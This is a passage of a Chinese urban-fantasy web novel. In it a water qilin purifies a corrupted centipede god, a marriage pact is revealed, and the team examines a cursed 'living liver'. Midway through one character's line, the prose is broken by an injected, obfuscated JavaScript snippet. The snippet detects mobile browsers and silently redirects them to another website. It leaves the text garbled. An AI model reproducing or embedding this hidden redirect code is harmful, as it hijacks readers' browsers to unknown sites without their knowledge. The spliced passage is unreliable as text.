就在这时,灰雾深处,那庞大、狰狞、邪气冲天的大百足身影再次浮现! 它似乎完全失去了最后一丝清明,复眼中只剩下疯狂、痛苦与毁灭一切的欲望。 它巨大的身躯蜿蜒游动,猛地张开布满利齿的口器,朝着吴森森和诹访隼人所在的水团噬咬而来! 显然,它将这两个“闯入者”视为了导致记忆崩溃、执念破碎的元凶,要拉他们一同湮灭! 死亡的阴影瞬间笼罩。吴森森甚至能闻到那口器中传来的腥臭与邪气。 然而,就在大百足的巨颚即将合拢的刹那—— “嗡——!!!” 一股浩瀚、磅礴、带着无尽江河奔腾之意与神圣净化威能的恐怖力量,毫无征兆地从这片混沌灰雾的中心爆发! 只见四面八方、乃至灰雾本身中蕴含的水汽、以及之前硫磺河中那被压缩的磅礴水行之力,如同百川归海,疯狂朝着一点汇聚! 那一点的光芒越来越盛,从淡蓝到深蓝,再到流转着五彩霞光的璀璨! 光芒凝聚、塑形,最终化为了一头威风凛凛、神圣非凡的巨兽! 其形如麋鹿,却生着牛尾,头顶一根晶莹剔透、仿佛水晶雕琢的独角,周身覆盖着五彩斑斓、折射出梦幻光泽的蓝色鳞片,四蹄踏着祥云水汽,威严与祥和并存,神圣与自然一体。 这是——麒麟!而且是司掌水流、代表祥瑞、具有强大净化之力的水麒麟! 水麒麟仰首发出一声清越悠长的长吟,声波所过之处,灰雾退散,邪气消融。 它纵身一跃,庞大的身躯却轻灵无比,四只蹄足精准而沉重地踏在了大百足那正要噬咬的头部和脖颈连接处! “轰——!” 仿佛泰山压顶!大百足发出痛苦的哀嚎,庞大的身躯被这股蕴含着江河之重与水德净化之力的麒麟足死死踩住,任凭它如何挣扎,那暗沉的甲壳发出不堪重负的呻吟,却根本无法挣脱! 更神奇的是,麒麟足踏之处,纯净的蓝色水光如同涟漪般荡漾开来,所过之处,大百足身上翻腾的黑紫色邪气如同烈日下的冰雪,迅速消融、净化!< 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吴森森正惊疑间,更令人意外的一幕发生了。 灰雾再次波动,一个佝偻却平静的身影,缓缓从中走出。正是小岛梅婆婆! 是小岛梅最后的一缕纯洁的灵魂。 她径直走到那蓝肤红角、威严的“流川之主”化身面前,没有丝毫畏惧,只是用那双饱经沧桑却依旧温和的眼睛看着他,然后,缓缓地、深深地跪拜下去,额头触地。 “尊贵的流川之主大人……” 梅婆婆的声音平静而坚定,带着最后的恳求,“请您……高抬贵手,放过小蜈蚣一命吧。” 流川之主?!原来是他吗?难怪那么熟悉。 流川之主低头,湛蓝的目光落在梅婆婆身上,无喜无悲,只有流水般的深邃。 梅婆婆继续说道:“它这一生,始于微末,得村民信仰而启灵,本欲行善积德,庇护一方。堕入邪道,非其本心,乃为护我等无能村民,为邪人所趁,又因执念深重,误入歧途,害人害己……其罪当诛,其情可悯。” 她抬起头,眼中含泪,却无哀求,只有澄澈的觉悟:“它如今邪气入骨,神智蒙尘,痛苦不堪。继续存世,徒增杀孽,亦是对其过往善行的玷污。但求大人……莫要使其形神俱灭,魂飞魄散。它本源乃此地山灵地祇,可否……散去其邪力与记忆,打回原形,重新归于这片山林地脉之中?哪怕从此浑噩,重为一普通蜈蚣,或化为山石井泉……也算全了它最初庇护此地的一点善因,给了它一个……重新开始的可能。” 梅婆婆的话,不仅是为大百足求情,更是道出了她最终的觉悟——放弃虚假的“复活”执念,接受真实的死亡与离别,只求给那个曾经善良的“小蜈蚣”一个最卑微、却也最干净的归宿。 流川之主静静听着,目光又转向脚下那在净化之力中痛苦颤抖、眼中疯狂与清明交织、发出微弱呜咽的大百足。 然后,他缓缓抬起了那只覆盖着蓝色鳞片、蕴含着净化之力的手。 吴森森屏住了呼吸,看着这决定大百足最终命运的一刻。 25. 百年的婚约 流川之主覆盖着蓝色鳞片的手并未落下毁灭的一击,而是虚悬于大百足痛苦挣扎的额前。 掌心流淌出更加柔和、却更加精纯的乳白色水雾,如同母亲的抚慰,又如涤荡一切污浊的圣泉,将大百足庞大的身躯彻底笼罩。 “嗤——嗤嗤——!” 在纯净水雾的包裹下,大百足那布满邪气裂痕的暗沉甲壳,开始发出细密的、如同春冰消融般的声音。 庞大的身躯如同风化的沙雕,从头部开始,寸寸裂解、消散。 并非暴力摧毁,而是一种温和却不可逆转的净化与分解。 随着身躯的崩解,海量浓黑污浊的邪气、扭曲的怨念、以及那些被强行吞噬生灵残留的残秽,如同溃堤的污水般从中涌出! 然而,这些足以污染一方水土的邪恶之物,甫一接触周围的乳白水雾,便发出尖锐的“滋滋”声,如同烈阳下的露珠,迅速消融、汽化,被彻底净化,没有留下一丝痕迹。 水雾所过之处,连空气中残留的硫磺臭气、血腥味、以及那令人窒息的绝望感,都被一扫而空,取而代之的是一种雨后山林般的清新与宁静。 随着大百足身形的消失,周围翻涌的灰白色迷雾也如同退潮般迅速散去,露出了被遮蔽的景象——正是吴森森记忆中那个古朴、宁静的百足巷。 房屋、小巷、水井、晾晒的衣物……一切如故,却又有所不同。 巷子里,从那些原本空无一人的屋舍中,一个个身影缓缓走了出来。 他们是百足巷的村民们,男女老少,穿着记忆中的服饰,面容平静,眼神清澈,再无之前的麻木或恐惧。 他们来到巷中,面向大百足消散、流川之主站立的方向,齐齐跪下,不是跪拜神祇,而是一种发自内心的、最后的祈愿与送别。 点点温暖、柔和、带着感激与解脱的灵光,如同夏夜的萤火,从每一个村民身上升起。是他们在这段痛苦记忆中被禁锢、被百足神以邪术强行维系的一丝纯净的“存在”与“感念”。 此刻,随着百足神的净化与解脱,他们也终于得以释放。 无数灵光汇聚成一道温暖的光河,轻柔地涌入那正在彻底消散的大百足残影之中。 最后,从光芒最中心,缓缓漂浮起一条不过尺许长、通体散发着柔和银光、甲壳晶莹如玉的小蜈蚣。 它不再狰狞,不再痛苦,眼神纯净懵懂,如同初生的婴儿。 可以清晰地看到,它身上原本庞大的修为和积累的功德,此刻如同流沙般迅速散去、消散。 一部分化作光点,抵消了它因堕落和杀戮积累的罪孽;另一部分,则化为更加温和的光晕,包裹住那些村民升起的灵光,仿佛在进行最后的守护与净化,确保他们能安然离去。 村民们似乎心有所感,一个个抬起头,脸上露出释然的微笑,对着银光小蜈蚣、对着梅婆婆、对着吴森森和诹访隼人水团的方向,遥遥挥手,嘴唇微动,似乎在说着无声的“谢谢”和“再见”。 然后,他们的身影如同阳光下的露珠,一个接一个地,化作点点流光,消散在空气中。 那不是湮灭,而是执念消散,魂归应有的去处。 最后,只剩下梅婆婆。 她看着村民们一个个离去,看着空中那小小的银光蜈蚣,脸上露出了前所未有的、彻底放松与欣慰的笑容。 她转过身,对着吴森森和诹访隼人水团的方向,也对着流川之主,深深地、郑重地鞠了一躬。 “谢谢你们……让孩子们,都解脱了。” 她的声音直接响在吴森森心间。 说完,梅婆婆的身影也开始变得透明。但她没有立刻消散,而是化作一点比村民更加凝实、更加温润的真灵光点。 这光点并未直接升空消散,而是仿佛受到某种无形通道的接引,缓缓向下沉去,没入地面,消失不见。 但是好像少了某个人的身影。 吴森森这才惊觉,在流川之主净化大百足、村民祈愿的同时,他竟在不知不觉间,以自身权能,在此地短暂打开了一道通往“幽冥”的纯净通道,省去了寻常魂魄需要等待勾魂使者、经历繁杂程序的步骤,让这些纯净的执念灵体和梅婆婆的真灵,得以直接、平稳地进入轮回序列。 随着梅婆婆的真灵没入轮回,银光小蜈蚣最后留恋地看了一眼这片它曾守护、也曾因之痛苦的土地,然后被一股柔和的水流包裹,送向了明治之森最深处、灵气最为纯净祥和的地方。 它将在此沉眠,或许千百年后,能重新诞生灵智,开启一段全新的、与这片山林共生的旅程。 至此,所有的执念消散,所有的冤屈平息,所有的罪孽洗涤。 “轰……” 周围百足巷的景象开始剧烈晃动,如同水中的倒影被投入石子,泛起层层涟漪,然后彻底崩解、消散! 连同这片支撑“域”存在的最后根基,也化为了虚无。 真正的“域”,此刻才彻底消散。 吴森森只觉得一阵天旋地转,强烈的空间置换感袭来,比之前任何一次都要剧烈。他感觉包裹自己的水团猛地一颤,然后破裂! “啊——!” 脚下一空,他发现自己竟然站在一根细细的、不足手腕粗的树枝上!而且是在离地好几米的半空中! 这突如其来的落脚点和极差的平衡感,让他根本站不住,只来得及发出一声短促的惊呼,整个人就失去平衡,直挺挺地往后倒去! 完了!这下要摔个结实了!吴森森下意识地闭上眼睛,准备迎接后背撞击地面的疼痛。 然而—— 预料中的坚硬和疼痛并未传来。他感觉自己撞上了一个冰凉、坚硬、却又带着奇异弹性的“东西”,像是靠在了一面覆盖着细密铠甲的墙壁上。 同时,一股清冽如水、带着淡淡江河气息的味道钻入鼻腔。 吴森森愕然睁开眼,抬头望去。 映入眼帘的,是一张覆盖着细密蓝色鳞片、线条冷硬、英俊非凡的侧脸,以及那对近在咫尺、晶莹如红珊瑚的分叉鹿角。是流川之主! 他不知何时出现在了吴森森身后,恰好接住了倒下的他。 吴森森此刻正以一个有些滑稽的姿势,半靠在流川之主那冰凉、覆盖鳞片的胸膛上。 流川之主微微低头,那双流动着水光的湛蓝眼眸平静地看了吴森森一眼,然后淡淡开口,声音如同山涧流水撞击岩石,清冷而富有磁性: “可称我,荒流。” 荒流?江入大荒流的荒流吗?倒是贴切,既有“荒”的疏离与古老,又有“流”的奔腾不息。 吴森森脑子里莫名冒出这句诗,同时感觉到背后那些鳞片虽然排列整齐,但确实有点硌人…… 他这才回过神来,慌忙从荒流身上站直,然后四下张望。 他们回到了现实世界的明治之森,就在之前激战、后来大百足展开自毁之域的溪谷附近。 不过,此刻的溪谷与之前大不相同。原本被大百足毒液腐蚀、被荒狂暴水流破坏得一片狼藉的地面,此刻那些焦黑、板结、冒着毒烟的痕迹全部消失了,取而代之的是湿润、干净、甚至重新冒出嫩绿草芽的泥土,以及几个清澈见底的小水洼,在月光下闪闪发光。 显然是荒流净化之力的功劳。 吴森森赶紧摸出手机,屏幕亮起,有了信号。 他看了一眼时间,惊讶地发现——距离他们之前进入森林、遭遇变故,现实世界竟然只过了一个小时不到! 果然,“域”内的时间流速与外界差异巨大。 然后,他看到了不远处,以脸朝下、四肢摊开、十分不雅地“大”字形趴在地上的诹访隼人。 他之前那身本就破烂的衣服,此刻更是沾满了泥水、草叶,看起来又脏又破,活像刚从哪个废墟里刨出来的。 “诹访先生!你没事吧?” 吴森森连忙跑过去。 诹访隼人身体动了动,然后有些僵硬地、摇摇晃晃地自己爬了起来。他拍了拍身上的泥土草屑,脸上的迷茫和混乱已经消失,眼神恢复了吴森森熟悉的、属于“诹访隼人”的清澈、冷静,以及一丝历经沧桑的深邃。 他显然已经想起了这三年间作为“荒”所经历的一切,包括与流川之主碎片的融合,包括在美院的时光,包括和吴森森的相识,也包括刚才“域”中最后的记忆。 诹访隼人站起身,目光复杂地看向站在一旁、神色淡漠的荒流。 他明白,“荒”——那个由他自身意识与流川之主碎片混合而成的第三人格——已经随着“域”的崩溃和此刻的局面,暂时退去或重新整合。 眼前的荒流,是更完整的、作为“流川之主”一部分意志的显现。而他自己,是取回了记忆的诹访隼人。 两者并存,却又独立。 荒流似乎对诹访隼人并不在意,他的目光自始至终更多地停留在吴森森身上。 在吴森森扶起诹访隼人后 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他顿了顿,目光落在吴森森瞬间瞪大的眼睛上,缓缓道:“若她日后有嗣,当与吾有婚约之契,以全因果,共护山水。” 婚、婚约?!和流川之主?!还是跟我妈的不知道多少辈前的祖辈定下的?! 吴森森如遭雷击,整个人都呆住了。这信息量太大,太离谱了!他下意识地猛摇头:“不可能!绝对不可能!我妈就是普通人!我家的族谱我都看过,没什么特别的!我这气息,肯定是因为森鹿大人的祝福!对,是森林的祝福让我有这样的气息!” 荒流看着吴森森激动否认的样子,不置可否,只是轻轻摇了摇头,没有再继续这个话题,仿佛刚才那惊人的话只是随口一提。但他眼中一闪而过的深邃,却表明他并未完全放弃这个猜测。 这时,诹访隼人开口道:“荒流阁下,您现在……有何打算?” 他感觉体内属于流川之主的力量虽然沉寂,但联系仍在,而且比之前“荒”的状态更加清晰、稳定。 荒流将目光从吴森森身上移开,看向诹访隼人:“吾之本体,仍在流川深处沉眠,对抗污染。此番显化,消耗颇巨,且长久维持此身,于汝、于流川,皆非益事。” 他看向诹访隼人,语气带着一种不容置疑的意味:“然,当年流川之约,尚未完成。吾需暂归汝身,继续以‘荒’之形态行走,查探污染之源,净化邪秽,直至本体苏醒之机。” 诹访隼人沉默片刻,点了点头。 他明白,这是目前最好的选择。他需要流川之主的力量和知识来应对“生贽之会”的威胁,流川之主也需要他作为在现世的载体和行动者。 而且,经过“域”中的变故和净化,他与这股力量的融合似乎更加顺畅,排斥感减少了许多。 “我明白了。请吧。” 诹访隼人坦然道。 荒流不再多言,整个身躯骤然化作一道璀璨的蓝色水流,水流中隐约有麒麟虚影长吟。这道水流并未粗暴地冲击,而是如同有生命般,轻柔而迅捷地缠绕上诹访隼人的身躯,尤其是背部。 光芒闪烁间,水流融入他的皮肤,消失不见。 而诹访隼人的背上,那片曾经消失的、华丽而神秘的流川之主纹身,再次浮现! 而且似乎比之前更加清晰、完整,纹路中隐隐有水光流转,散发出的气息也更加内敛而浩瀚。 与此同时,诹访隼人整个人的气质也为之一变,眼神中多了一份属于“荒”的沧桑、深邃与内敛的威严,但“诹访隼人”本身的清澈、理智与艺术家的敏锐也并未消失,两者似乎达到了一种新的、更和谐的平衡。 他,现在或许可以重新称其为“荒”了——活动了一下手脚,感受着体内流淌的、如臂使指的强大力量,又看了看自己那身狼狈不堪的衣服,无奈地笑了笑。 然后,他看向还处在“婚约”冲击中没完全回神的吴森森,嘴角勾起一抹熟悉的、略带散漫的弧度: “看来,我们得先回去换身衣服,然后……好好跟高宏和桐岛他们汇报一下这次的‘写生成果’了。哦,对了,还有那个‘婚约’的八卦,我想他们一定很感兴趣。” 吴森森:“……” 他看了看眼前这个熟悉又似乎有哪里不同的“荒”,又摸了摸自己右臂的森鹿纹身,再想想荒流那石破天惊的“婚约”说…… 这次的明治之森写生之旅,可真是收获满满,惊吓与惊吓齐飞啊! 26. 活肝 月光如水银泻地,将刚刚经历了一场惊心动魄超常事件的山林映照得一片清辉。 吴森森和荒站在溪谷边缘,正准备返回营地与其他人汇合。 荒正在感知体内重新平衡的力量,以及梳理清晰起来的、关于“荒流”与“诹访隼人”两段记忆的脉络。 就在这时,吴森森眼角的余光瞥见不远处、一丛被月光照得格外清晰的蕨类植物下,似乎有什么东西在微微反光,并且散发着一股极其微弱、却让臂上森鹿纹身产生本能排斥感的异常生机。 他心中一动,小心翼翼地上前拨开蕨叶。 只见湿润的苔藓地上,赫然躺着一块约莫成人拳头大小、颜色暗红却隐隐透着不正常鲜活光泽的物体——正是那块肝脏! 看其形态和给人的那种“违背常理的活性”感觉,无疑就是邪教徒口中用于仪式、试图污染控制百足神的“活肝”,也是之前在矿洞祭坛上莫名消失的核心祭品! “嘶……” 吴森森倒吸一口凉气。 这玩意儿居然没跟着大百足的净化一起消失,或者回归所谓的“污染源头”?而是以一种近乎实体的形态,留在了现实世界? “看来,这就是那祸根了。” 荒不知何时已走到他身边,低头看着那块肝脏,眼神微冷。 他显然也通过共享的记忆知晓了此物的来历与邪恶用途。 “这怎么办?就这么放着?” 吴森森皱眉,这东西看着就邪门,谁知道会不会吸引来别的什么东西,或者自行产生什么变化。 荒没有立刻回答,而是环顾了一下四周,目光落在不远处溪边几块被水流冲刷得圆润的石头旁。 那里似乎有一个被半埋在泥土里、颜色黯淡的粗陶小罐,可能是以前进山的人丢弃的容器,大约一升容量,罐口有破损,但整体还算完整。 他走过去,弯腰捡起陶罐,用溪水仔细冲洗掉内外附着的泥土和青苔。然后,他单手托着陶罐,另一只手在罐口上方虚划了几个简单的印诀,口中低诵了几句简短的、带着流水韵律的音节。 “摄。” 随着他清冷的声音落下,那块静静躺在苔藓上的“活肝”,仿佛被无形的力量牵引,轻飘飘地离地浮起,然后稳稳地、不偏不倚地落入了陶罐之中。 荒另一只手迅速凌空书写了一个散发着淡蓝色水光的简易符文,轻轻拍在罐口。 “封。” 淡蓝水光一闪,没入陶罐粗糙的表面,形成一层极淡的、肉眼几乎看不见的能量薄膜,将罐口连同那块肝脏的气息一同封闭、隔绝起来。 做完这一切,荒又随手扯了几片宽大的、带着清新气息的樟树叶,揉碎了塞进罐口缝隙,既是进一步隔绝,也算一点心理安慰。 “暂时先这样。” 荒将封好的陶罐递给吴森森,“此物邪异,不宜久持。带回给桐岛凛和高宏亮他们处理更为稳妥。你拿着,我拿着……气息不太对。” 他指的是自己身上流川之主的力量可能与这邪物产生不必要的排斥。 吴森森小心翼翼地接过陶罐,入手微沉,冰凉。隔着陶壁和封印,虽然感觉不到那肝脏的邪气,但心里还是有点发毛。 他脱下外套,将陶罐仔细包裹好,抱在怀里。 两人不再耽搁,借着明亮的月光,辨认方向,朝着预定露营的民宿方向返回。 夜已深,但距离黎明尚有一段时间。 当他们接近营地时,远远就听到了人声和手电筒的光束晃动。原来,画室的其他同学和带队前辈发现荒和吴森森迟迟未归,早已急得如同热锅上的蚂蚁,正组织人手在附近山林呼喊、搜寻。 毕竟是在夜晚的森林,失踪超过预期时间,谁都担心出意外。 “荒!吴桑!你们跑哪儿去了?!急死我们了!” 一个同组的女生看到他们,几乎带着哭腔喊出来。 “抱歉,抱歉,让大家担心了。” 吴森森连忙道歉,荒也微微颔首致意。他们早就统一好了说辞:迷路了,在林子里绕了好久,好不容易才找回来,手机没信号。 虽然衣衫有些狼狈,但在夜色和手电光下,同学们也看不太真切细节,只当他们是不小心摔了或者被树枝刮的。 “小林呢?他回来了吗?” 吴森森看似随意地问道。 “回来了回来了!比你俩还早一点!” 带队的前辈松了口气,指了指营地篝火旁一个身影,“那小子,说是被一大片萤火虫吸引,追着追着就跑远了,等想起来要回来,天都黑了,也迷了路,手机还没信号!刚刚才自己摸回来,也把我们吓够呛!” 吴森森和荒看向篝火旁。只见小林正坐在那里,手里捧着一杯热水,脸色有些苍白,神情带着后怕和愧疚。 他换上了干净的衣服,外表看起来和平时那个内向的男生没什么两样。 看到吴森森和荒回来,小林也连忙站起来,快步走过来,深深地鞠躬:“对不起!荒前辈,吴君!都是因为我乱跑,才让大家这么担心,还害你们去找我……真的很抱歉!” 他的道歉看起来真诚无比,眼神里满是懊恼和不安,任谁看了都会觉得这是一个不小心闯了祸、心怀愧疚的普通学生。 “没事就好,下次注意。” 荒淡淡地说了一句,目光在小林身上停留了一瞬,看不出情绪。 吴森森也点点头:“人没事最重要。不过小林,下次可别再这么冒失了,晚上森林里很危险。” “是!我记住了!真的非常对不起大家!” 小林再次鞠躬,然后又对所有人说,“为了表达我的歉意,回去之后,我请大家吃饭!地点随便挑……呃,在我能承受的范围内!” 他这略带窘迫的补充,引得几个同学笑了起来,原本紧张担忧的气氛顿时缓和了不少。毕竟人都平安回来了,小林也诚恳道歉并承诺请客,大家也就原谅了他这次的冒失。 而且,不少人兴奋地表示,虽然找人心急,但今晚的月光和萤火虫确实美得惊人,他们已经有了不少新的创作灵感,甚至有人已经摸黑画了几张速写。 一夜有惊无险。 第二天清晨,众人在鸟鸣中醒来,简单地吃过民宿准备的早餐后,便收拾画具,踏上归程。 每个人背包里都多了厚厚一沓写生稿,脸上带着满足和些许疲惫。 小林果然履行承诺,中午在一家颇受学生欢迎的家庭餐厅请大家大快朵颐了一顿,气氛融洽。 饭后,与同学们道别,吴森森立刻拨通了高宏亮的电话。 “喂,高宏先生。” “臭小子!可算有信儿了!昨晚怎么回事?电话一直打不通!森内那边也说那片林子能量场乱了一阵子!” 高宏亮的大嗓门立刻从听筒里传来,带着毫不掩饰的焦急和后怕。 “说来话长,我们……遇到大百足了,还有它的‘域’。” 吴森森压低声音,言简意赅,“我和荒都出来了,荒的状态……有点变化,但应该算稳定了。我们还带回来一件……‘东西’。” “‘东西’?什么东西?” 高宏亮的声音立刻严肃起来。 “一块……‘活肝’。和之前市场发现的很像,但可能更……‘特别’。” 吴森森看了一眼怀里用外套裹着的陶罐。 电话那头沉默了几秒,然后传来高宏亮吸气的声音:“……行,我知道了。你们现在在哪儿?安全吗?” “安全,刚和同学吃完饭分开。荒也在。” “好,那就去月岛静的茶馆。我和桐岛、森内,还有兰,马上过去。我们在那儿碰头。小心点,注意尾巴。” “明白。” 挂了电话,吴森森看向身旁的荒。荒点了点头,表示知道了。 两人没有耽搁,叫了辆出租车,径直前往月岛静的茶馆“静岳庵”。 那里清静、安全,且有月岛静这位并非完全不知情的店主在,是个适合商议要事的地方。 ———— “静岳庵”后院那间静谧的茶室,门窗紧闭,帘幕低垂,隔绝了外界的光线与喧嚣。室内茶香袅袅,矮几上摆放着月岛静精心准备的茶点和刚沏好的热茶,但气氛却与这清雅的环境有些格格不入,透着一种事态严峻的沉凝。 那个装着“活肝”的粗陶罐,被吴森森用外套裹得严严实实,放在了茶室最远的角落,还用两个坐垫稍微挡了一下。 倒不是怕它突然跳起来,纯粹是不想影响大家喝茶的胃口。 毕竟,知道里面是什么之后,再对着它喝茶吃东西,心理上总有点膈应。 月岛静换上了便于行动的简洁和服,跪坐在一旁默默添茶,眼神清澈,显然已经知晓了他们正在处理的是何等“麻烦”,但脸上并无惧色,只有一份沉静的专注。 高宏亮、森内彻、渡边兰也都在座。高宏亮换了身干净衣服,但眉宇间带着熬夜后的疲惫和对昨夜事件的余悸。 森内彻依旧是那副玩世不恭的样子,但紫绿挑染下的眼睛不时闪过精光。 渡边兰则安静地坐在森内彻侧后方,如同影子,存在感很低,却让人无法忽视。 “桐岛那小子说晚点过来,实验室那边还有点收尾,他会把初步分析报告带过来。” 高宏亮喝了一大口浓茶,率先开口,“先说说你们昨晚到底捅了多大篓子?大百足?域?还有这块‘肝’又是怎么回事?” 吴森森和荒便交替着,将昨夜在明治之森的经历:从发现河水异变、追踪到矿洞、遭遇邪教徒、陷入大百足的记忆之域、目睹百足神堕落的真相、与流川之主的相遇、净化大百足、最终带回“活肝”。 其中涉及诹访隼人意识分离、流川之主显化、梅婆婆最后的恳求等细节也未隐瞒。 随着讲述,茶室内一片寂静,只有茶水注入杯中的细微声响。 众人的表情也随着情节起伏而变化,惊讶、凝重、叹息、了然…… 当听到那邪教徒“上师”的残念最终意识到自己早已死亡、并发动自毁禁术时,高宏亮冷哼一声:“死得不冤!” 听到流川之主以麒麟形态降临、净化一切时,森内彻吹了声口哨:“乖乖,麒麟啊!那可是祥瑞!看来咱们这位‘荒流’大人来头比想象的还大。” 而当吴森森略带尴尬地提及荒流关于“山鬼”、“婚约”的惊人之语时,茶室内出现了短暂的、微妙的沉默,随即被几声压抑的咳嗽和嘴角抽搐打破。 高宏亮瞪大眼睛,看了看吴森森,又看看荒,憋出一句:“……你小子,还挺有‘神缘’?” 渡边兰的目光在吴森森脸上扫过,依旧没什么表情。 月岛静则是掩嘴轻笑了一下,随即恢复端庄。 “好了,闲话少叙。” 森内彻搓了搓手,将话题拉回正轨,“重点是,这个‘生贽之会’或者说其前身,百年前就开始搞这种用‘鲜活器官’进行邪恶仪式的勾当了!而且看情况,他们根本不需要现代那些复杂的体外循环 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016499|194202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、恒温灌注设备,靠的就是某种邪门的仪式,就能让器官保持那种诡异的‘活性’,甚至用来污染、控制地方神祇妖怪!这技术……或者说邪术,源远流长啊!” 高宏亮脸色阴沉:“难怪那些瓶子里的器官感觉那么怪。看来我们面对的,不是一个新兴的犯罪团伙,而是一个有着古老传承和成熟邪术体系的隐秘教派。他们几十年前就开始在杰潘各地物色目标,用这种恶心的方式侵蚀地方灵脉和守护者。大百足只是其中一个受害者,而且很可能不是最惨的那个。” 众人心头都是一沉。这意味着敌人的根基和危害性,远超他们最初的预估。 话题不可避免地转向了“荒”与“荒流”。荒平静地解释了目前的状况: 流川之主的力量碎片与他的神道灵力暂时达成了新的、更稳定的协调,形成了目前这个意识清醒、拥有双方部分记忆和能力的“荒”。 但归根结底,这是一种过渡状态。一旦流川之主本体彻底净化流域苏醒,或者找到更完美的分离方式,又或者完成了与诹访隼人的“约定”,“荒”这个第三人格很可能会消失。 他说得很坦然,仿佛在谈论天气。 “消失就消失呗,” 荒甚至笑了笑,那笑容里有属于诹访隼人的洒脱,也有一丝流川之力的淡泊,“如果到那一天,这些乱七八糟的邪教、污染、实验都搞定了,流川干净了,诹访隼人也能回归正常生活,那我这个‘意外产物’消失,不是很值得吗?” 茶室内再次陷入沉默。 高宏亮、森内彻、渡边兰、月岛静,他们与“荒”的相识,大多始于“荒”这个状态,或者说,是因为吴森森卷入的事件。 他们对诹访隼人本人了解有限,对流川之主更是敬畏多于亲近。 对于“荒”可能消失的未来,他们确实谈不上有多少深厚感情或不舍,更多的是一种对“临时战友”可能离场的冷静认知,以及一丝对事件复杂性的唏嘘。 所以,他们选择了沉默。 只有吴森森,从画室的初次见面,到之后的数次共患难,他熟悉的、认同的、并肩作战的,始终是这个混合了艺术家气质与神秘力量的“荒”。 听到荒用如此平静的语气谈论自己的“消失”,他心里很不是滋味,眉头紧锁,嘴唇动了动,想说什么却又不知从何说起。 荒似乎察觉到了吴森森的情绪,转过头,对他露出一个更明显的、带着调侃意味的笑容,故意用轻松的语气说:“别这副表情,吴。说不定我消失前,还能赶上喝某位‘山鬼后裔’的喜酒呢?虽然荒流大人说了不一定作数,但万一呢?” “喂!” 吴森森的脸瞬间涨红,刚才那点伤感被冲得一干二净,“都说了是误会!而且……而且麒麟不是公的吗?!” “谁说麒麟一定分公母?” 荒挑了挑眉,眼中闪过一丝恶作剧得逞般的笑意,“荒流既然能以完整独立的意识化身出现,其本质更接近‘灵’与‘规则’的具现,性别概念本就模糊。他若真有意,变化形貌并非难事。当然,我只是这么一说,你要真有想法,下次见到他可以问问。” “我没有!一点都没有!” 吴森森连连摆手,恨不得找个地缝钻进去,“荒流大人肯定是认错了!我妈绝对是普通人!我身上的气息肯定是森鹿祝福的关系!” 看着吴森森急得跳脚的样子,众人脸上都或多或少露出了些许笑意,刚才关于“消失”的沉重气氛也被冲淡了不少。 高宏亮拍了拍吴森森的肩膀:“行了行了,麒麟的婚约什么的,以后再说。现在八字没一撇,瞎操心啥。” 玩笑过后,话题转向渡边兰之前调查的线索。 渡边兰言简意赅地汇报:“之前与极道接触得到的信息,指向前任阪大市的一位已退休八十多岁的副市长。 他极度渴望恢复青春、延长寿命,似乎与‘生贽之会’的某个外围分支搭上了线,提供了部分庇护和资源,换取‘实验成果’或‘长生术’。” “但是,” 她顿了顿,“两天前,目标人物在自家宅邸中突发疾病暴毙。现场很‘干净’,初步尸检结果是‘心脏骤停’,但时间点太巧合。极道那边也认为,可能是内部灭口,或者实验失败的反噬。” 线索到这里,似乎又断了。 “不过也有好消息。” 森内彻接过话头,手指敲着桌面,“那个副市长一死,目前官面上直接针对小吴的压力应该会暂时缓解。毕竟这种见不得光的交易,人死了,很多线就断了,没人会为了个死去的退休官员,继续明目张胆地动一个外国留学生,尤其是夏国的,风险太高。但是……” 他话锋一转:“极道或者一些拿钱办事的灰色势力就不一定了。他们可能只接到了‘处理掉某人’的命令,并不清楚背后的全貌,也不在乎目标死不死。所以,小吴你还是要小心暗箭。” “这个你放心,” 高宏亮拍了拍胸脯,“有我和兰在,寻常的蟊贼和黑枪,近不了他的身。森内,你那边也多打点着,有什么风吹草动及时通气。” “包在我身上。” 森内彻咧嘴一笑,“阪大这片地界,三教九流,我熟。想在我眼皮子底下动我罩着的人,得先问问我的‘朋友们’答不答应。” 目前,能做的分析和部署似乎暂时告一段落。 关键的“活肝”需要桐岛凛的专业分析,更多关于“生贽之会”古老传承和当前动向的情报,也需要时间搜集。 27. 古代学者 茶室的门被轻轻拉开,桐岛凛走了进来。 他依旧穿着那身略显皱褶的衬衫,提着那个标志性的帆布挎包,眼下带着熬夜的痕迹,但镜片后的眼睛却异常明亮锐利,仿佛刚刚完成了一项极其耗费心力却又充满发现的工作。 他的出现,让一直安静坐在一旁的荒,身体几不可察地微微一震,那双混合了艺术家疏离与河流深邃的眼眸,第一次在桐岛凛身上停留了超过审视的时间,并且泛起了一丝极其细微的、仿佛被触动了什么古老记忆的波澜。 荒似乎“感应”到了什么。 那并非妖气、灵力或邪气,而是一种极其隐晦、与时光和历史长河共鸣的特殊“印记”,触动了麒麟一族血脉深处、关于某些古老智慧族群的模糊记忆。 与此同时,桐岛凛的目光也第一时间落在了荒的身上。 他推了推眼镜,镜片后的眼神平静无波,似乎对荒的反应并不意外。 他没有等众人询问,便用一种近乎做学术报告般清晰、冷静的语调开口,仿佛在陈述一个早已被记录在案的客观事实: “初次正式见面,流川之主的部分,或者说,‘荒’。” 桐岛凛微微颔首,目光扫过其他人,“看来我的身份,在你这里触发了一些传承记忆。不错,我并非纯粹的现代学者。我所属的,是人族中一个极为稀少、通常隔代觉醒的特殊分支——‘古代学者’。” “古代学者?” 吴森森疑惑。 其实这一幕和高宏亮与荒第一次见面有点像,但是没有那么冲突。 “可以理解为,一种先天对‘历史痕迹’、‘时间流变’、‘物质记忆’ 拥有超常感知与分析天赋的族群。” 桐岛凛解释道,语气平淡得像在介绍一种冷门学科,“我们的专长在于解析过去事件残留的信息,与特定历史片段或古老存在产生共鸣,并以此为基础进行逻辑推演和信息重构。 